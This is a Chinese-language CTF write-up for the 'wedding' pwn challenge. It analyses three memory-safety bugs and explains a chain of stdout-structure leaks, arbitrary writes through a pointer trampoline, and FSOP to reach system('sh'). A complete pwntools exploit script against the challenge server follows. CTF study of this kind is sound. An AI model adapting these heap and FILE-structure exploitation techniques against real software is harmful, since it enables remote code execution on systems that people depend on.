PWN
wedding
大体的思路参考 roderick
师傅的这篇博客
程序分析
洞有3个
第一个是 preapare
函数里的指定偏移位置写两个固定内容的字节,没有检查偏移大小。共有3次机会
第二个是 preapare
函数里表示 heap
数组和 size
数组下标的变量可能未初始化
第三个是 revise
函数里未检查数组下标大小
利用思路
申请大内存,让 malloc
使用 mmap
来分配内存,此时得到的chunk指针与libc的偏移是固定的。利用 preapare
函数里3次任意偏移写的机会,前两次用来修改 _IO_2_1_stdout_
结构体的 _flags
和 _IO_write_base
,泄露出 libc
, heap
, elf
和 stack
的地址;最后一次用来修改与 elf
基址偏移为 0x4014
的地方的值,这个地方的作用下面再解释
随便申请5个chunk,将 preapare
函数中检查的8个下标都填满,这样在下次申请时,表示下标的变量就不会在 preapare
函数中初始化
这个表示数组下标变量在 rbp-0xc
的位置,所以可以利用 my_read
中可控的buf来提前控制这个变量的值,从而实现任意下标写堆块地址和堆块大小。利用这个把 wlshes
和 w1shes
变量改成负数,这样在 revise
中就有多次写的机会了
在 heap
数组下面一点的位置有一个指向自身的指针,可以利用这个作为一个跳板,结合 revise
实现多次可控的任意地址写。在 preapare
中第三次的任意偏移写的机会就是让这个地址对应的 size
大于 0x999
,这样 revise
里就可以一次性写入8个字节
这里笔者是先将它修改为 heap[0]
的地址,这样第二次写时就相当于写 heap[0]
的值,再对 heap[0]
上的指针写就相当于实现了任意地址写。其实到这一步已经可以尝试劫持类似 malloc_hook
的变量来 getshell
了,但发现 one_gadget
没有一个是有效的,所以只能打fsop了。循环修改跳板的值和 heap[0]
的值,在bss段上布置好一个 fake_file
结构体,最后劫持bss段上的 stdout
指针为 fake_file
的地址 getshell
exp
因为在 preapare
函数的第3次任意偏移写需要输入很大的负数(8个或9个字节,大概率是9个),而 my_read
函数中最多只能输入8个字节,所以exp有概率不通(需要多尝试几次)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import *io = remote('node4.buuoj.cn' , 25890 ) context.binary = 'wedding_room' libc = ELF('libc.so.6' , checksec = False ) ru = lambda x : io.recvuntil(x, drop = True ) sa = lambda a, b : io.sendafter(a, b) sla = lambda a, b : io.sendlineafter(a, b) ia = lambda : io.interactive() uu64 = lambda x : u64(x.ljust(8 , '\x00' )) libc_os = lambda x : libc_base + x pie_os = lambda x : pie_base + x heap_os = lambda x : heap_base + x libc_sym = lambda x : libc_os(libc.sym[x]) lg = lambda x : info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (x, eval (x))) def menu (choice ): sla('your choice >> \n' , str (choice)) def prepare (size, offset ): global chance menu(1 ) sla('how much do you prepare>> \n' , str (size)) if chance < 3 : chance += 1 else : return sa('>> \n' , str (offset)) def revise (idx, content ): menu(2 ) sla('which packet you want to revise>> \n' , str (idx)) sa('now write your wish>> \n' , content) chance = 0 prepare(0x21000 , 0x20f690 + 1 ) prepare(0x21000 , 0x231690 + 0x20 ) data = ru('\x3e\x3e' ) pie_base = uu64(data[-(0x1763 ):-(0x1763 -8 )]) - (0x5585eb6f2030 - 0x5585eb6ee000 ) lg('pie_base' ) libc_base = uu64(data[-(0x23 -8 ):-(0x23 -0x10 )]) - (0x7fa103f87980 - 0x7fa103d9b000 ) lg('libc_base' ) sys_addr = libc_sym('system' ) heap_base = uu64(data[-0xb43 :-(0xb43 -8 )]) - 0x290 lg('heap_base' ) stack_addr = uu64(data[-0x2e3 :-(0x2e3 -8 )]) lg('stack_addr' ) prepare(0x10 , pie_os(0x55642f3cd017 - 0x55642f3c9000 ) - heap_os(0x290 ) - 0x10 ) for i in range (5 ): prepare(0x10 , 0 ) sa('your choice >> \n' , '1\x00\x00\x00\xfc\xff\xff\xff' ) sla('how much do you prepare>> \n' , '-30' ) sa('your choice >> \n' , '1\x00\x00\x00\xfd\xff\xff\xff' ) sla('how much do you prepare>> \n' , '-30' ) fake_file_addr = pie_os(0x0000000000004020 + 0x300 ) revise(-0x13 , flat(pie_os(0x00000000000040A0 ))) revise(-0x13 , flat(fake_file_addr)) revise(0 , ' sh;' ) revise(-0x13 , flat(fake_file_addr + 0x88 )) revise(0 , flat(fake_file_addr - 0x100 )) revise(-0x13 , flat(fake_file_addr + 0xa0 )) revise(0 , flat(fake_file_addr + 0x100 )) revise(-0x13 , flat(fake_file_addr + 0xc0 )) revise(0 , flat(0 )) revise(-0x13 , flat(fake_file_addr + 0xd8 )) revise(0 , flat(libc_os(0x7fec2ec36f60 - 0x7fec2ea4e000 - 0x20 ))) revise(-0x13 , flat(fake_file_addr + 0x100 + 0x18 )) revise(0 , flat(0 )) revise(-0x13 , flat(fake_file_addr + 0x100 + 0x30 )) revise(0 , flat(0 )) revise(-0x13 , flat(fake_file_addr + 0x100 + 0xe0 )) revise(0 , flat(fake_file_addr + 0x200 )) revise(-0x13 , flat(fake_file_addr + 0x200 + 0x68 )) revise(0 , flat(sys_addr)) revise(-0x13 , flat(pie_os(0x0000000000004020 ))) lg('fake_file_addr' ) revise(0 , flat(fake_file_addr)) ia()